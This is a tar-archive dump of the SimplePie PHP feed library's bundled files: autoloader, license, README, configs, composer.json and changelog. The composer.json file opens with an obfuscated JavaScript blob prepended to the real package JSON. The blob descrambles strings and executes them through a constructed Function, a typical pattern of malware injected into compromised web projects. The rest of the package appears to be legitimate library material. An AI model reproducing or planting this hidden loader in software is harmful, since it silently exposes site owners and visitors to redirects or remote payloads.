0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * PSR-4 implementation for SimplePie. * * After registering this autoload function with SPL, the following line * would cause the function to attempt to load the \SimplePie\SimplePie class * from /src/SimplePie.php: * * new \SimplePie\SimplePie(); * * @param string $class The fully-qualified class name. * @return void */ defined('ABSPATH') or die(); spl_autoload_register(function ($class) { // project-specific namespace prefix $prefix = 'SimplePie\\'; // base directory for the namespace prefix $base_dir = __DIR__ . '/src/'; // does the class use the namespace prefix? $len = strlen($prefix); if (strncmp($prefix, $class, $len) !== 0) { // no, move to the next registered autoloader return; } // get the relative class name $relative_class = substr($class, $len); // replace the namespace prefix with the base directory, replace namespace // separators with directory separators in the relative class name, append // with .php $file = $base_dir . str_replace('\\', '/', $relative_class) . '.php'; // if the file exists, require it if (file_exists($file)) { require $file; } }); // autoloader spl_autoload_register(array(new SimplePie_Autoloader(), 'autoload')); if (!class_exists('SimplePie')) { trigger_error('Autoloader not registered properly', E_USER_ERROR); } /** * Autoloader class * * @package SimplePie * @subpackage API */ class SimplePie_Autoloader { protected $path; /** * Constructor */ public function __construct() { $this->path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'library'; } /** * Autoloader * * @param string $class The name of the class to attempt to load. */ public function autoload($class) { // Only load the class if it starts with "SimplePie" if (strpos($class, 'SimplePie') !== 0) { return; } $filename = $this->path . DIRECTORY_SEPARATOR . str_replace('_', DIRECTORY_SEPARATOR, $class) . '.php'; include $filename; } } ����������������������������������res/simplepie/LICENSE.txt���������������������������������������������������������������������������0000644�����������������00000002774�14757771437�0011207 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Copyright (c) 2004-2022, Ryan Parman and Sam Sneddon. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the SimplePie Team nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.����res/simplepie/.travis.yml���������������������������������������������������������������������������0000644�����������������00000000551�14757771437�0011464 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sudo: false language: php matrix: fast_finish: true include: - php: 5.3 - php: 5.4 - php: 5.5 - php: 5.6 - php: 7.0 - php: 7.1 - php: hhvm sudo: true dist: trusty group: edge # until the next Travis CI update allow_failures: - php: hhvm - php: 7.0 - php: 7.1 branches: except: - one-dot-two �������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/.php-cs-fixer.dist.php����������������������������������������������������������������0000644�����������������00000000664�14757771437�0013416 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $finder = (new PhpCsFixer\Finder()) ->in('build') ->in('demo') ->in('library') ->in('src') ->in('tests') ; return (new PhpCsFixer\Config()) ->setRules([ '@PSR12' => true, '@PHP54Migration' => true, // TODO: Allow `const` after bump requirements to PHP >=7.1 'visibility_required' => ['elements' => ['property', 'method', /* 'const' */]], ]) ->setFinder($finder) ; ����������������������������������������������������������������������������res/simplepie/README.markdown�����������������������������������������������������������������������0000644�����������������00000007402�14757771437�0012056 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������SimplePie ========= SimplePie is a very fast and easy-to-use class, written in PHP, that puts the 'simple' back into 'really simple syndication'. Flexible enough to suit beginners and veterans alike, SimplePie is focused on [speed, ease of use, compatibility and standards compliance][what_is]. [what_is]: http://simplepie.org/wiki/faq/what_is_simplepie Requirements ------------ * PHP 5.6+ (Required since SimplePie 1.5.3) * libxml2 (certain 2.7.x releases are too buggy for words, and will crash) * One of iconv, mbstring or intl extensions * cURL or fsockopen() * PCRE support What comes in the package? -------------------------- 1. `src/` - SimplePie classes for use with the autoloader 2. `autoloader.php` - The SimplePie Autoloader if you want to use the separate file version. 3. `README.markdown` - This document. 4. `LICENSE.txt` - A copy of the BSD license. 5. `compatibility_test/` - The SimplePie compatibility test that checks your server for required settings. 6. `demo/` - A basic feed reader demo that shows off some of SimplePie's more noticeable features. 7. `idn/` - A third-party library that SimplePie can optionally use to understand Internationalized Domain Names (IDNs). 8. `build/` - Scripts related to generating pieces of SimplePie 9. `test/` - SimplePie's unit test suite. ### Where's `simplepie.inc`? Since SimplePie 1.3, we've split the classes into separate files to make it easier to maintain and use. If you'd like a single monolithic file, see the assets in the [releases](https://github.com/simplepie/simplepie/releases), or you can run `php build/compile.php` to generate `SimplePie.compiled.php` yourself. To start the demo ----------------- 1. Upload this package to your webserver. 2. Make sure that the cache folder inside of the demo folder is server-writable. 3. Navigate your browser to the demo folder. Need support? ------------- For further setup and install documentation, function references, etc., visit [the wiki][wiki]. If you're using the latest version off GitHub, you can also check out the [API documentation][]. If you can't find an answer to your question in the documentation, head on over to one of our [support channels][]. For bug reports and feature requests, visit the [issue tracker][]. [API documentation]: http://dev.simplepie.org/api/ [wiki]: http://simplepie.org/wiki/ [support channels]: http://simplepie.org/support/ [issue tracker]: http://github.com/simplepie/simplepie/issues Project status -------------- SimplePie is currently maintained by Malcolm Blaney. As an open source project, SimplePie is maintained on a somewhat sporadic basis. This means that feature requests may not be fulfilled straight away, as time has to be prioritized. If you'd like to contribute to SimplePie, the best way to get started is to fork the project on GitHub and send pull requests for patches. When doing so, please be aware of our [coding standards][]. [coding standards]: http://simplepie.org/wiki/misc/coding_standards Authors and contributors ------------------------ ### Current * [Malcolm Blaney][] (Maintainer, support) ### Alumni * [Ryan McCue][] (developer, support) * [Ryan Parman][] (Creator, developer, evangelism, support) * [Sam Sneddon][] (Lead developer) * [Michael Shipley][] (Submitter of patches, support) * [Steve Minutillo][] (Submitter of patches) [Malcolm Blaney]: https://mblaney.xyz [Ryan McCue]: http://ryanmccue.info [Ryan Parman]: http://ryanparman.com [Sam Sneddon]: https://gsnedders.com [Michael Shipley]: http://michaelpshipley.com [Steve Minutillo]: http://minutillo.com/steve/ ### Contributors For a complete list of contributors: 1. Pull down the latest SimplePie code 2. In the `simplepie` directory, run `git shortlog -ns` License ------- [New BSD license](http://www.opensource.org/licenses/BSD-3-Clause) ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/.editorconfig�������������������������������������������������������������������������0000644�����������������00000000650�14757771437�0012030 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������# https://EditorConfig.org [*] charset = utf-8 end_of_line = lf insert_final_newline = true trim_trailing_whitespace = true [*.{css,js,json,sql}] indent_style = tab [*.html] indent_size = 2 indent_style = space [*.{markdown,md}] indent_size = 4 indent_style = space max_line_length = off trim_trailing_whitespace = false [*.php] indent_size = 4 indent_style = space [*.{yaml,yml}] indent_size = 2 indent_style = space ����������������������������������������������������������������������������������������res/simplepie/index.php�����������������������������������������������������������������������������0000644�����������������00000000037�14757771437�0011172 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Silence is golden. ?> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/composer.json�������������������������������������������������������������������������0000644�����������������00000011066�14757771437�0012100 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "simplepie/simplepie", "description": "A simple Atom/RSS parsing library for PHP", "type": "library", "keywords": ["rss", "atom", "feeds"], "homepage": "http://simplepie.org/", "license": "BSD-3-Clause", "authors": [ { "name": "Ryan Parman", "homepage": "http://ryanparman.com/", "role": "Creator, alumnus developer" }, { "name": "Sam Sneddon", "homepage": "https://gsnedders.com/", "role": "Alumnus developer" }, { "name": "Ryan McCue", "email": "me@ryanmccue.info", "homepage": "http://ryanmccue.info/", "role": "Developer" } ], "require": { "php": ">=5.6.0", "ext-pcre": "*", "ext-xml": "*", "ext-xmlreader": "*" }, "require-dev": { "friendsofphp/php-cs-fixer": "^2.19 || ^3.8", "yoast/phpunit-polyfills": "^1.0.1" }, "suggest": { "ext-curl": "", "ext-iconv": "", "ext-intl": "", "ext-mbstring": "", "mf2/mf2": "Microformat module that allows for parsing HTML for microformats" }, "autoload": { "psr-4": { "SimplePie\\": "src" }, "psr-0": { "SimplePie": "library" } }, "autoload-dev": { "psr-4": { "SimplePie\\Tests\\Fixtures\\": "tests/Fixtures", "SimplePie\\Tests\\Unit\\": "tests/Unit" } }, "config": { "bin-dir": "bin", "sort-packages": true }, "scripts": { "test": "phpunit" } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/CHANGELOG.md��������������������������������������������������������������������������0000644�����������������00000047540�14757771437�0011175 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������# Changelog All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [Unreleased](https://github.com/simplepie/simplepie/compare/1.7.0...master) ## [1.7.0](https://github.com/simplepie/simplepie/compare/1.6.0...1.7.0) - 2022-09-30 ### Added - New class `SimplePie\SimplePie` as a replacement for class `SimplePie` - New method `SimplePie\Misc::get_default_useragent()` as a replacement for constant `SIMPLEPIE_USERAGENT` ### Changed - Do not use magic values for state machine state by @jtojnar in [#735](https://github.com/simplepie/simplepie/pull/735) - Use PSR-4 classes in Registry by @Art4 in [#736](https://github.com/simplepie/simplepie/pull/736) - GH Actions: run tests against PHP 8.2 by @jrfnl in [#739](https://github.com/simplepie/simplepie/pull/739) - Change code style to PSR-12 by @Art4 in [#738](https://github.com/simplepie/simplepie/pull/738) ### Fixed - Fix status_code type by @Alkarex in [#728](https://github.com/simplepie/simplepie/pull/728) - Fix parsing of HTTP Links by @Alkarex in [#729](https://github.com/simplepie/simplepie/pull/729) - Fix using the best base link for an item content by @Alkarex in [#744](https://github.com/simplepie/simplepie/pull/744) - Fix .editorconfig regression by @Alkarex in [#745](https://github.com/simplepie/simplepie/pull/745) ### Deprecated - The class `SimplePie` is deprecated, use class `SimplePie\SimplePie` instead - The use of PSR-0 classes (all classes without namespaces in the `library` directory) is deprecated, use PSR-4 classes (see `src` directory) instead - The constant `SIMPLEPIE_BUILD` is deprecated, use `SimplePie\Misc::get_build()` instead - The constant `SIMPLEPIE_USERAGENT` is deprecated, use `SimplePie\Misc::get_default_useragent()` instead - All global constants are deprecated, use the constants from the class `SimplePie\SimplePie` instead (e.g. replace `SIMPLEPIE_VERSION` with `SimplePie\SimplePie::VERSION`) ## [1.6.0](https://github.com/simplepie/simplepie/compare/1.5.8...1.6.0) - 2022-04-21 ### Added - New methods `SimplePie::rename_attributes()` and `SimplePie_Sanitize::rename_attributes()` allow renaming attributes by @math-GH in [#717](https://github.com/simplepie/simplepie/pull/717) - Add audio, video @src elements/attribute for URL resolution by @rdalverny in [#716](https://github.com/simplepie/simplepie/pull/716) - Added new namespaced aliases and PSR-4 support for every class by @Art4 in [#711](https://github.com/simplepie/simplepie/pull/711) - Add .editorconfig by @Alkarex in [#724](https://github.com/simplepie/simplepie/pull/724) - Upload compiled file as release asset by @Art4 in [#725](https://github.com/simplepie/simplepie/pull/725) ### Changed - GH Actions: version update for ramsey/composer-install by @jrfnl in [#713](https://github.com/simplepie/simplepie/pull/713) ### Fixed - Bugfix in MySQL cache by @Art4 in [#720](https://github.com/simplepie/simplepie/pull/720) - Re-enable xml:base for all supported RSS formats by @Alkarex in [#723](https://github.com/simplepie/simplepie/pull/723) ## [1.5.8](https://github.com/simplepie/simplepie/compare/1.5.7...1.5.8) - 2021-12-24 ### Changed - Update CHANGELOG.md, follow keepachangelog format by @Art4 in [#709](https://github.com/simplepie/simplepie/pull/709) ### Fixed - Fix a small typo in the error() function Docblock by @audrasjb in [#712](https://github.com/simplepie/simplepie/pull/712) - Fix/708 version bump for constant `SIMPLEPIE_VERSION` for 1.5.8 release by @faisal-alvi in [#710](https://github.com/simplepie/simplepie/pull/710) ## [1.5.7](https://github.com/simplepie/simplepie/compare/1.5.6...1.5.7) - 2021-12-19 * Fix PHP8 crash due to insufficient isset test by @Alkarex in [#670](https://github.com/simplepie/simplepie/pull/670) * gitignore tests by @Alkarex in [#671](https://github.com/simplepie/simplepie/pull/671) * Reduce memory when parsing large feeds by @Alkarex in [#672](https://github.com/simplepie/simplepie/pull/672) * PHP8 catch ValueError for loadHTML() by @Alkarex in [#673](https://github.com/simplepie/simplepie/pull/673) * Provide access to HTTP status code by @Alkarex in [#674](https://github.com/simplepie/simplepie/pull/674) * Fix wrong type hint by @Alkarex in [#678](https://github.com/simplepie/simplepie/pull/678) * Force HTTPS for selected domains by @Alkarex in [#676](https://github.com/simplepie/simplepie/pull/676) * Prevent cache polution by @Alkarex in [#675](https://github.com/simplepie/simplepie/pull/675) * Fix typo in comment by @Alkarex in [#680](https://github.com/simplepie/simplepie/pull/680) * Remove HTTP credentials in HTTP Referer by @Alkarex in [#681](https://github.com/simplepie/simplepie/pull/681) * CI: switch to GH Actions by @jrfnl in [#688](https://github.com/simplepie/simplepie/pull/688) * PHP 8.1: fix "passing null to non-nullable" deprecation notice by @jrfnl in [#689](https://github.com/simplepie/simplepie/pull/689) * Tests: PHPUnit cross-version compatibility by @jrfnl in [#690](https://github.com/simplepie/simplepie/pull/690) * Tests: use strict assertions by @jrfnl in [#692](https://github.com/simplepie/simplepie/pull/692) * CacheTest: handle different exceptions PHP cross-version by @jrfnl in [#691](https://github.com/simplepie/simplepie/pull/691) * GH Actions: don't allow builds to fail on PHP 8.0 or 8.1 by @jrfnl in [#693](https://github.com/simplepie/simplepie/pull/693) * Tests: use the correct parameter order by @jrfnl in [#694](https://github.com/simplepie/simplepie/pull/694) * PHPUnit: update configuration by @jrfnl in [#696](https://github.com/simplepie/simplepie/pull/696) * fix: better deal with proxy returning proxy headers (in response to cURL's Proxy-Connection header) by @shunf4 in [#698](https://github.com/simplepie/simplepie/pull/698) * Handle multiple Link headers by @voegelas in [#700](https://github.com/simplepie/simplepie/pull/700) * PHP 8.2: explicitly declare properties by @jrfnl in [#705](https://github.com/simplepie/simplepie/pull/705) * New Contributor: @shunf4 made their first contribution in [#698](https://github.com/simplepie/simplepie/pull/698) * New Contributor: @voegelas made their first contribution in [#700](https://github.com/simplepie/simplepie/pull/700) ## [1.5.6](https://github.com/simplepie/simplepie/compare/1.5.5...1.5.6) - 2020-10-14 * PHP 8.0: prevent ValueError for invalid encoding [#657](https://github.com/simplepie/simplepie/pull/657) * Travis: test against more recent PHP versions [#653](https://github.com/simplepie/simplepie/pull/653) * PHP 8.0: handle removal of get_magic_quotes_gpc() [#654](https://github.com/simplepie/simplepie/pull/654) * PHP 7.4/8.0: curly brace array access deprecated & removed [#655](https://github.com/simplepie/simplepie/pull/655) * PHP 8.0: required parameters are no longer allowed after optional parameters [#656](https://github.com/simplepie/simplepie/pull/656) * Fix permanent_url for HTTP 301 [#660](https://github.com/simplepie/simplepie/pull/660) * Fix typo in MIME type in Content_Type_Sniffer [#661](https://github.com/simplepie/simplepie/pull/661) ## [1.5.5](https://github.com/simplepie/simplepie/compare/1.5.4...1.5.5) - 2020-05-01 * Ensure that feeds retrieved with `force_feed` do not share the same cache as those retrieved without. [#643](https://github.com/simplepie/simplepie/pull/643) * Removed references to removed PHP directives and some PHP < 5.6 checks. [#645](https://github.com/simplepie/simplepie/pull/645) * Corrected incorrect alumni name. [#638](https://github.com/simplepie/simplepie/pull/638) ## [1.5.4](https://github.com/simplepie/simplepie/compare/1.5.3...1.5.4) - 2019-12-17 * PHP 5.6 or newer is now required. [#625](https://github.com/simplepie/simplepie/pull/625) * Fixed invalid docblock parameter types [#633](https://github.com/simplepie/simplepie/pull/633) * Added support for German short forms for weekdays and months. [#632](https://github.com/simplepie/simplepie/pull/632) * PHP 7.4 support: Fixed instances of accessing array offset on null type values. [#628](https://github.com/simplepie/simplepie/pull/628) * Return an effective feed URL when asking for non-permanent `subscribe_url`. [#627](https://github.com/simplepie/simplepie/pull/627) ## [1.5.3](https://github.com/simplepie/simplepie/compare/1.5.2...1.5.3) - 2019-09-22 * Replaced `pow()` call with `**` operator (micro performance optimization). [#622](https://github.com/simplepie/simplepie/pull/622) * Match links containing `feed` in the Locator class. [#621](https://github.com/simplepie/simplepie/pull/621) * PHP 7.4 support: Ensure the proper argument order for `implode()` calls. [#617](https://github.com/simplepie/simplepie/pull/617) * Added support for Russian dates. [#607](https://github.com/simplepie/simplepie/pull/607) * Preemptively changed `is_writeable()` calls to `is_writable()` in case the former is deprecated in PHP. [#604](https://github.com/simplepie/simplepie/pull/604) ## [1.5.2](https://github.com/simplepie/simplepie/compare/1.5.1...1.5.2) - 2018-08-02 * Added support for PHPUnit 6. [#565](https://github.com/simplepie/simplepie/pull/565) * Added PHP module requirements to Composer. [#590](https://github.com/simplepie/simplepie/pull/590) * Added support for Redis password and database. [#589](https://github.com/simplepie/simplepie/pull/589) * Changed the spelling of `writeable` to `writable` within inline documentation. [#586](https://github.com/simplepie/simplepie/pull/586) * Fixed various issues in the test suite and Travis. [#576](https://github.com/simplepie/simplepie/pull/576) * Removed ambiguous tests failing on `usort()` in PHP 7. [#578](https://github.com/simplepie/simplepie/pull/578) * Simplified logic for some function returns. [#573](https://github.com/simplepie/simplepie/pull/573) * Fixed inline documentation for return value types for accuracy. [#570](https://github.com/simplepie/simplepie/pull/570) * Fixed Travis to run `composer install`. [#567](https://github.com/simplepie/simplepie/pull/567) * Removed unnecessary `else`s when a value has already been returned. [#566](https://github.com/simplepie/simplepie/pull/566) * Fixed a bug where URL fragments are included when `SimplePie_File` normalizes URLs when really old versions of cURL are used. [#564](https://github.com/simplepie/simplepie/pull/564) * Updated `SimplePie_Locator` to respect cURL options specified. [#561](https://github.com/simplepie/simplepie/pull/561) ## [1.5.1](https://github.com/simplepie/simplepie/compare/1.5...1.5.1) - 2017-11-17 * Fixed photos so they are not added if the URL is empty. [#530](https://github.com/simplepie/simplepie/pull/530) * Fixed issues with retrieving feeds from behind a proxy. [#512](https://github.com/simplepie/simplepie/pull/512)/[#548](https://github.com/simplepie/simplepie/pull/548) * Updated favicon URL in `get_favicon()`. [#525](https://github.com/simplepie/simplepie/pull/525) * Fixed inline documentation typo. [#540](https://github.com/simplepie/simplepie/pull/540) * Removed extra closing `<a>` tag. [#537](https://github.com/simplepie/simplepie/pull/537) * Removed and updated feed URLs in the demo. [#535](https://github.com/simplepie/simplepie/pull/535) * Improvements to microformat feed parsing. [#533](https://github.com/simplepie/simplepie/pull/533) * Switched from regex to xpath for microformats discovery. [#536](https://github.com/simplepie/simplepie/pull/536) * Update the registry if the Sanitize class has been changed. [#532](https://github.com/simplepie/simplepie/pull/532) * Changed the sanitization type for author and category back to text from HTML. [#531](https://github.com/simplepie/simplepie/pull/531) ## [1.5](https://github.com/simplepie/simplepie/compare/1.4.3...1.5) - 2017-04-17 * Introduced `SimplePie_Category->get_type()` for retrieving category type. [#492](https://github.com/simplepie/simplepie/pull/492) * Added `$enable_exceptions` to the class property declarations for `SimplePie` class. [#504](https://github.com/simplepie/simplepie/pull/504) * Titles are now parsed for ATOM10 enclosure links. [#507](https://github.com/simplepie/simplepie/pull/507) * `$item->get_id()` can now be forced to return the supplied ID instead of generating a new one. [#509](https://github.com/simplepie/simplepie/pull/509) ## [1.4.3](https://github.com/simplepie/simplepie/compare/1.4.2...1.4.3) - 2016-11-26 * Removed support for PHP 5.2. [#469](https://github.com/simplepie/simplepie/pull/469) * Added support for the PHP `UConverter` class. [#485](https://github.com/simplepie/simplepie/pull/485) * PHP 7.1 Support: Fixed PHP error when trying to use a non-numeric value in `round()`. [#458](https://github.com/simplepie/simplepie/pull/458) * PHP 7 Support: Fixed deprecated message for old style constructors. [#489](https://github.com/simplepie/simplepie/pull/489) * Fixed the error message shown when a feed has an empty body. [#487](https://github.com/simplepie/simplepie/pull/487) * Added an error message when the XML or PCRE PHP extensions are missing. [#468](https://github.com/simplepie/simplepie/pull/468) * Check the result of sanitize before returning in `get_content()` and `get_description()`. [#494](https://github.com/simplepie/simplepie/pull/494) * Use `saveHTML()` to fix issues with non UTF-8 characters. [#470](https://github.com/simplepie/simplepie/pull/470) * Stop passing compressed data through `trim()`. [#455](https://github.com/simplepie/simplepie/pull/455) * Refactored the UTF-8 conversion error message. [#467](https://github.com/simplepie/simplepie/pull/467) * Updated the readme file. [#486](https://github.com/simplepie/simplepie/pull/486) * Added command line support for compayibility test. [#481](https://github.com/simplepie/simplepie/pull/481) * Added PHP 7.1 to the testing matrix. [#462](https://github.com/simplepie/simplepie/pull/462) * Use the latest HHVM version in testing (3.15.2). [#480](https://github.com/simplepie/simplepie/pull/480) * Added PHPUnit as a `dev-dependency` in Composer. [#463](https://github.com/simplepie/simplepie/pull/463) * Added `mf2/mf2` as a suggestion in Composer for use with microformats. [#491](https://github.com/simplepie/simplepie/pull/491) * Fixed misspelled occurrences of "separated". [#459](https://github.com/simplepie/simplepie/pull/459) * Improvements to the compatibility test and error messages. [#488](https://github.com/simplepie/simplepie/pull/488) ## 